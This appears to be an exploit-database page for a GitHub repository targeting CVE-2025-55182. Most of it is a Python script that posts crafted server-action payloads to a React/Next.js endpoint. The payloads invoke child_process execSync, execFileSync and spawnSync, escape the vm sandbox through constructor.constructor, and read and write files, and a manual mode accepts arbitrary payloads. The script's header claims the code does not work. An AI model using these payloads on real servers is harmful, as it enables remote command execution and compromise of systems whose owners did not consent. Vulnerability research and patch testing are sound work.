Exploit databaseDownload repository ZIP
GH-4fb0c85bbcf3ae082e46c228927ffc9d
0xpthree/cve-2025-55182
Sources for CVE-2025-55182
257 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
0xpthree/cve-2025-55182Revision 2b7be8672c3b
- app/
- Dockerfile
- README.md
- cve-2025-55182.py
- docker-compose.yml
- next.config.js
- package.json
- webpack.server.config.js
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
cve-2025-55182.py
Suggested starting filePython · 5,963 bytes#!/usr/bin/env python3
## THIS CODE DOES NOT WORK
## DO NOT USE!
import argparse
import json
import requests
import sys
URL = "http://localhost:3000/formaction"
# Terminal colors
RED = "\033[31m"
GREEN = "\033[32m"
YELLOW = "\033[33m"
CYAN = "\033[36m"
RESET = "\033[0m"
BOLD = "\033[1m"
# Predefined payloads
PAYLOADS = {
"1": {
"name": "vm#runInThisContext",
"description": "Execute JavaScript code in the current VM context",
"payload": {
"id": "vm#runInThisContext",
"bound": [
"process.mainModule.require('child_process').execSync('id').toString().trim()"
],
},
},
"2": {
"name": "vm#runInNewContext",
"description": "Execute JavaScript code in a new VM context",
"payload": {
"id": "vm#runInNewContext",
"bound": [
"this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString().trim()"
],
},
},
"3": {
"name": "child_process#execSync",
"description": "Execute a command synchronously (execSync)",
"payload": {"id": "child_process#execSync", "bound": ["whoami"]},
},
"4": {
"name": "child_process#execFileSync",
"description": "Execute a file synchronously (execFileSync)",
"payload": {"id": "child_process#execFileSync", "bound": ["/usr/bin/whoami"]},
},
"5": {
"name": "child_process#spawnSync",
"description": "Spawn a process synchronously (spawnSync)",
"payload": {"id": "child_process#spawnSync", "bound": ["whoami"]},
},
"6": {
"name": "fs#writeFileSync",
"description": "Write a file (example: /tmp/testfile.txt)",
"payload": {"id": "fs#writeFileSync", "bound": ["/tmp/testfile.txt", "Hello world"]},
},
"7": {
"name": "fs#readFileSync",
"description": "Read a file (example: /tmp/testfile.txt)",
"payload": {"id": "fs#readFileSync", "bound": ["/tmp/testfile.txt", "utf8"]},
},
"8": {
"name": "util#promisify",
"description": "Get the Node.js util.promisify function",
"payload": {"id": "util#promisify", "bound": []},
},
}
CHILD_PROCESS_PAYLOADS = ["3", "4", "5"] # IDs of child_process payloads
def post_payload(payload: dict) -> dict:
"""Send POST request and return JSON if possible."""
response = requests.post(
URL,
files={
"$ACTION_REF_0": ("", ""),
"$ACTION_0:0": (None, json.dumps(payload)),
},
)
try:
return response.json()
except json.JSONDecodeError:
return {"raw": response.text}
def decode_buffers(obj):
"""
Recursively decode Node.js Buffer objects in a JSON response to UTF-8 strings.
"""
if isinstance(obj, dict):
if obj.get("type") == "Buffer" and "data" in obj:
return bytes(obj["data"]).decode("utf-8", errors="replace")
return {k: decode_buffers(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [decode_buffers(v) for v in obj]
return obj
def display_payload(payload_id: str):
"""Display payload and response, handling child_process buffers."""
if payload_id not in PAYLOADS:
print(f"{RED}Payload ID '{payload_id}' not found!{RESET}")
list_payloads()
sys.exit(1)
payload = PAYLOADS[payload_id]
name = payload["name"]
description = payload["description"]
payload = payload["payload"]
print(f"\n{CYAN}{'='*40}{RESET}")
print(f"{BOLD} Executing payload {payload_id}: {name} {RESET}")
print(f"{CYAN}{'='*40}{RESET}")
print(f"{YELLOW}Description: {RESET}{description}")
print(f"{YELLOW}Payload:{RESET}\n{json.dumps(payload)}\n")
print(f"{YELLOW}Response:{RESET}\n{'-'*40}")
response = post_payload(payload)
# Only decode buffers for child_process payloads
if payload_id in {"3", "4", "5"}:
response = decode_buffers(response)
print(json.dumps(response, indent=2, ensure_ascii=False))
def run_all_payloads():
"""Run all predefined payloads."""
for payload_id in PAYLOADS:
display_payload(payload_id)
def run_manual_payload(payload_str: str):
"""Run a manual payload from JSON string."""
try:
payload = json.loads(payload_str)
except json.JSONDecodeError:
print(f"{RED}Invalid JSON!{RESET}")
return
# Detect if it's a child_process payload by id string
is_child_process = any(cmd in payload.get("id", "") for cmd in ["execSync", "execFileSync", "spawnSync"])
PAYLOADS["manual"] = {
"name": "Manual Child Process Payload" if is_child_process else "Manual Payload",
"description": "",
"payload": payload,
}
display_payload("manual")
del PAYLOADS["manual"]
def list_payloads():
"""List all predefined payloads with ID, name, and description."""
print(f"{BOLD}Available payloads:{RESET}")
for payload_id, payload in PAYLOADS.items():
print(f" {payload_id}) {payload['name']}: {payload['description']}")
def main():
parser = argparse.ArgumentParser(description="Run React server POST payloads.")
parser.add_argument("-p", "--payload", type=str, help="Run a payload by its ID (see --list).")
parser.add_argument("-a", "--all", action="store_true", help="Run all payloads.")
parser.add_argument("-m", "--manual", type=str, help="Run a manual JSON payload.")
parser.add_argument("-l", "--list", action="store_true", help="List all available payloads.")
args = parser.parse_args()
if args.list:
list_payloads()
sys.exit(0)
if args.payload:
display_payload(args.payload)
elif args.all:
run_all_payloads()
elif args.manual:
run_manual_payload(args.manual)
else:
parser.print_help()
if __name__ == "__main__":
main()